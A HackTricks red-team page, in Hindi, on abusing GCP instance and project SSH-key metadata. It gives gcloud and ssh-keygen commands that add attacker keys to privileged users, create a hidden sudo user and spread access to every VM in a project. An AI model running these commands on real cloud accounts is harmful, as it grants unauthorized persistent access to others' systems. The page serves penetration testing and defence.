GCP - कस्टम SSH मेटाडेटा जोड़ें

Reading time: 6 minutes

GCP - कस्टम SSH मेटाडेटा जोड़ें

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

मेटाडेटा को संशोधित करना

एक उदाहरण पर मेटाडेटा संशोधन महत्वपूर्ण सुरक्षा जोखिमों का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।

कस्टम मेटाडेटा में SSH कुंजियों का समावेश

GCP पर, Linux सिस्टम अक्सर Python Linux Guest Environment for Google Compute Engine से स्क्रिप्ट निष्पादित करते हैं। इसका एक महत्वपूर्ण घटक accounts daemon है, जिसे नियमित रूप से उदाहरण मेटाडेटा एंडपॉइंट की अधिकार प्राप्त SSH सार्वजनिक कुंजियों के लिए अपडेट की जांच करने के लिए डिज़ाइन किया गया है।

इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और स्थानीय सिस्टम में एकीकृत किया जाएगा। कुंजी को एक मौजूदा उपयोगकर्ता के ~/.ssh/authorized_keys फ़ाइल में जोड़ा जाएगा या sudo अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।

मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें

  1. उदाहरण पर मौजूदा SSH कुंजियों की जांच करें:
  • मौजूदा SSH कुंजियों को खोजने के लिए उदाहरण और इसके मेटाडेटा का वर्णन करने के लिए कमांड निष्पादित करें। आउटपुट में प्रासंगिक अनुभाग metadata के तहत होगा, विशेष रूप से ssh-keys कुंजी के तहत।
bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग होता है।
  1. SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:
  • उपयोगकर्ता नाम और उनके संबंधित SSH कुंजियों के विवरण को meta.txt नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
  1. लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (alice इस उदाहरण में):
  • ssh-keygen कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (-C) लक्षित उपयोगकर्ता नाम से मेल खाता है।
bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • नई सार्वजनिक कुंजी को meta.txt में जोड़ें, उदाहरण के मेटाडेटा में पाए गए प्रारूप की नकल करते हुए।
  1. उदाहरण की SSH कुंजी मेटाडेटा को अपडेट करें:
  • gcloud compute instances add-metadata कमांड का उपयोग करके उदाहरण पर अपडेट की गई SSH कुंजी मेटाडेटा लागू करें।
bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. नई SSH कुंजी का उपयोग करके उदाहरण तक पहुँचें:
  • लक्षित उपयोगकर्ता (alice इस उदाहरण में) के संदर्भ में शेल तक पहुँचने के लिए नई कुंजी का उपयोग करके SSH के साथ उदाहरण से कनेक्ट करें।
bash
ssh -i ./key alice@localhost
sudo id

एक नया विशेषाधिकार प्राप्त उपयोगकर्ता बनाएं और SSH कुंजी जोड़ें

यदि कोई दिलचस्प उपयोगकर्ता नहीं मिलता है, तो एक नया उपयोगकर्ता बनाया जा सकता है जिसे sudo अनुमतियाँ दी जाएंगी:

bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक SSH पहुंच को बढ़ाने के लिए परियोजना स्तर पर SSH कुंजी लागू करना संभव है। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुंच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:

  1. परियोजना स्तर पर SSH कुंजी लागू करें:
  • gcloud compute project-info add-metadata कमांड का उपयोग करके meta.txt से SSH कुंजी को परियोजना की मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. परियोजना-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:
  • परियोजना-व्यापी SSH कुंजी के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुंच प्राप्त होगी।
  • किसी उदाहरण में SSH करने का एक सीधा तरीका gcloud compute ssh [INSTANCE] कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुंच प्राप्त करने का प्रयास करता है।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें